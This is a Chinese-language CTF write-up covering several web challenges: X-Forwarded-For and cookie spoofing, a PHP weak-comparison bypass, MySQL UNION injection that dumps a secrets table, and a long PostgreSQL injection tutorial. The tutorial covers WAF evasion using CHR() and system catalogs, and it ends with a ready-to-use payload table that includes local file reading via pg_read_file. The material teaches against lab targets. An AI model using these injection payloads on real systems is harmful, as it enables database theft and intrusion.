QingCenCTF的web题解,处于更新状态
先解密MD5
提示不是本宗弟子,再更改为X-Forwarded-For: 127.0.0.1,之后再更改cookie字段进行越权,

开头搞我一下,扫了个目录,没出来,后来发现在响应头
然后访问对应路径,获得题目源码,发现是个php弱比较
代码条件是:
php
strlen($no) < 4 // 字符串长度小于4
$no > 88888888 // 数值大于 88888888
strlen("9e9") → 3 个字符 ✅
"9e9" > 88888888 → 9000000000 > 88888888 为真 ✅
一个只有 3 个字符 的字符串,却代表了一个 90 亿 的大数字,完美利用了 PHP 在比较时的类型转换和科学计数法的特性。

没有好说的,一开始以为是sql或者弱密码爆破,后来扫了下目录发现有个flag.php
这关是sql注入,通过z' or 1=1#发现返回了全部数据,无过滤,所以开始爆数据
z' order by 5#
z' order by 6#
确定列数为6列,结合响应中的说在secret表所以直接开爆
sqlz' and 1=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='secrets'#

sqlz' and 1=0 union select 1,group_concat(secret_name,':',secret_value),3,4,5 from secrets#

不能直接目录穿越访问,所以通过LOAD_FILE 函数读文件
返回空,这里卡了一会,发现有个文件包含
于是在这里尝试目录穿越

是个PostgreSQL,尝试注入爆列名

爆库名版本号

爆表名
爆数据

以下是针对于PostgreSQL的详细和知识点
提示
你做了什么: 输入 {"ids":"1'"},后端返回 {"msg":"非法字符","status":403}
这意味着什么:
? 占位符),单引号会被当作普通字符处理,绝对不会报错。关键结论: 这个接口存在SQL注入,而且防御很粗糙(只挡了单引号)。
你做了什么: 输入 1) UNION SELECT NULL--,报错:
syntax error at or near ")" LINE 1: ...cription, status FROM tasks WHERE id = ANY(ARRAY[1) UNION SE...
从报错里读出的关键信息:
id, title, description, statussqlSELECT id, title, description, status FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ])
ANY(ARRAY[...]) 是PostgreSQL特有的语法)为什么这个报错如此重要: 很多新手看到报错就慌了,实际上报错是SQL注入最好的朋友。它直接告诉你SQL长什么样,你才知道怎么"闭合"它。
核心问题: 你的输入被拼在了 ARRAY[ 和 ] 之间,你要让 ANY(ARRAY[...]) 语法合法,然后再接自己的SQL。
你做了什么:
1]) → 拼进去变成 ANY(ARRAY[1]) → 语法合法-- 注释掉原来的 ])实际效果:
sql-- 原始SQL(假设)
SELECT ... FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ])
-- 你输入 999]) UNION SELECT ... --
-- 实际执行:
SELECT ... FROM tasks WHERE id = ANY(ARRAY[999]) UNION SELECT ... --])
-- ^^^^ 这里闭合了
-- ^^^^^^^^^^^^^^^ 这里是你加的
-- ^^ 这里把后面的 ]) 注释掉了
小白理解: 就像你在一句话中间插嘴,先说完了自己的话,然后用 -- 把后面别人要说的话"抹掉"。
你做了什么:
999]) UNION SELECT NULL-- → 报错 each UNION query must have the same number of columns999]) UNION SELECT NULL,NULL,NULL,NULL-- → 成功为什么必须4列:
UNION 要求左右两边的查询结果列数必须完全一致。原SQL查的是 id, title, description, status 这4列,你的 UNION SELECT 也必须是4列。
测列数的技巧:
NULL 占位,因为 NULL 可以匹配任何类型(数字、字符串、布尔都行),不会触发类型错误。999 当ID是因为这个ID大概率不存在,这样原查询没结果,只显示你UNION进去的数据,不干扰。你做了什么:
json{"ids":"999]) UNION SELECT 1,version(),current_database(),1--"}
前端显示:
title 位置 → PostgreSQL 17.10 (Debian ...)(版本号)description 位置 → ctf_db(数据库名)已完成(因为 status=1)这意味着什么: 这是有回显注入(Union-based),你可以直接把数据库里的数据"SELECT"出来显示在页面上,是最爽的一种注入。
为什么 SELECT 1,2,3,4 不行:
PostgreSQL 是强类型数据库。原SQL的第2、3列是字符串类型(title、description),你传整数 2、3 进去,类型对不上,直接报错。而 version() 和 current_database() 返回的是字符串,所以完美匹配。
你尝试的:
json{"ids":"999]) UNION SELECT 1,table_name,table_schema,1 FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0--"}
→ 返回 403 非法字符
被拦的两个原因:
': 'public' 里的单引号直接触发WAFinformation_schema: 这是SQL注入字典里的"敏感词",很多WAF直接拦截PostgreSQL 有 current_schema() 函数,返回当前schema(默认就是 public),不需要引号。
information_schema改用 PostgreSQL 自己的系统视图 pg_tables,或者更底层的 pg_class + pg_namespace。
你最终成功的payload:
json{"ids":"999]) UNION SELECT 1,relname,nspname,1 FROM pg_class JOIN pg_namespace ON relnamespace=pg_namespace.oid WHERE nspname=current_schema() AND relkind=CHR(114) LIMIT 1 OFFSET 0--"}
这里面的知识点:
pg_class:存储所有表、索引、序列等对象pg_namespace:存储schema(如 public)relnamespace=pg_namespace.oid:关联两个表(修复了 oid 歧义报错)nspname=current_schema():用函数代替 'public',无引号relkind=CHR(114):CHR(114) = 'r',表示普通数据表。用ASCII码代替单引号OFFSET 的用法:
OFFSET 0 → 第1个表OFFSET 1 → 第2个表(你在这里找到了 secret_flag)在 PostgreSQL 里,不加引号的标识符会自动变成小写:
sqlSELECT * FROM secret_flag -- 合法,等同于 "secret_flag"
这意味着你不需要单引号、不需要双引号,直接写表名就能查!完美绕过WAF。
CTF里flag字段通常就叫 flag,直接试:
json{"ids":"999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1--"}
成功! 前端 title 位置直接显示 flag{...}。
用系统表 pg_attribute 查字段名(同样无引号):
json{"ids":"999]) UNION SELECT 1,string_agg(attname,CHR(44)),NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0--"}
attname:字段名CHR(44):逗号 ,string_agg:把所有字段名用逗号拼成一条attnum>0:排除系统内部字段发现注入点 ↓ 输入 1' 被拦(403 非法字符)→ 确认拼接SQL 摸清结构 ↓ 输入 1) 报错 → 发现 ANY(ARRAY[...]) 结构 闭合语法 ↓ 输入 1]) -- → 让 ANY(ARRAY[1]) 合法 测列数 ↓ UNION SELECT NULL,NULL,NULL,NULL-- → 确认4列 确认回显 ↓ UNION SELECT 1,version(),current_database(),1-- → 有回显! 查表名 ↓ information_schema 被拦 → 换 pg_class + pg_namespace ↓ 单引号被拦 → 用 current_schema() + CHR(114) ↓ OFFSET 1 → 发现 secret_flag 表 拿Flag ↓ PostgreSQL 标识符自动转小写 → FROM secret_flag 无引号 ↓ 盲猜字段 flag → UNION SELECT 1,flag,NULL,1 FROM secret_flag ↓ 🎉 出 flag!
| 知识点 | 说明 | 在本题中的应用 |
|---|---|---|
ANY(ARRAY[...]) | PostgreSQL 特有的IN语法替代 | 发现结构后才知道用 ]) 闭合 |
current_schema() | 返回当前schema,无引号 | 代替 'public' 绕过WAF |
pg_tables / pg_class | PostgreSQL系统表,代替 information_schema | 绕过 information_schema 敏感词拦截 |
CHR(n) | ASCII码转字符,无引号 | CHR(114) = 'r',绕过单引号过滤 |
| 标识符自动转小写 | 不加引号的表名/字段名自动变小写 | FROM secret_flag 不需要任何引号 |
string_agg | 字符串聚合函数 | 一把梭出所有表名/字段名 |
| 强类型 | UNION时类型必须匹配 | 不能用 SELECT 1,2,3,4,必须用 version() 等字符串函数 |
| 目的 | Payload |
|---|---|
| 闭合ANY(ARRAY) | 999]) UNION SELECT ... -- |
| 测列数 | 999]) UNION SELECT NULL,NULL,NULL,NULL-- |
| 拿版本+库名 | 999]) UNION SELECT 1,version(),current_database(),1-- |
| 查所有表名 | 999]) UNION SELECT 1,string_agg(tablename,','),current_schema(),1 FROM pg_tables WHERE schemaname=current_schema()-- |
| 查表字段(逐条) | 999]) UNION SELECT 1,attname,NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0 LIMIT 1 OFFSET 0-- |
| 拿flag | 999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1-- |
| 读本地文件 | 999]) UNION SELECT 1,pg_read_file('/flag'),NULL,1-- |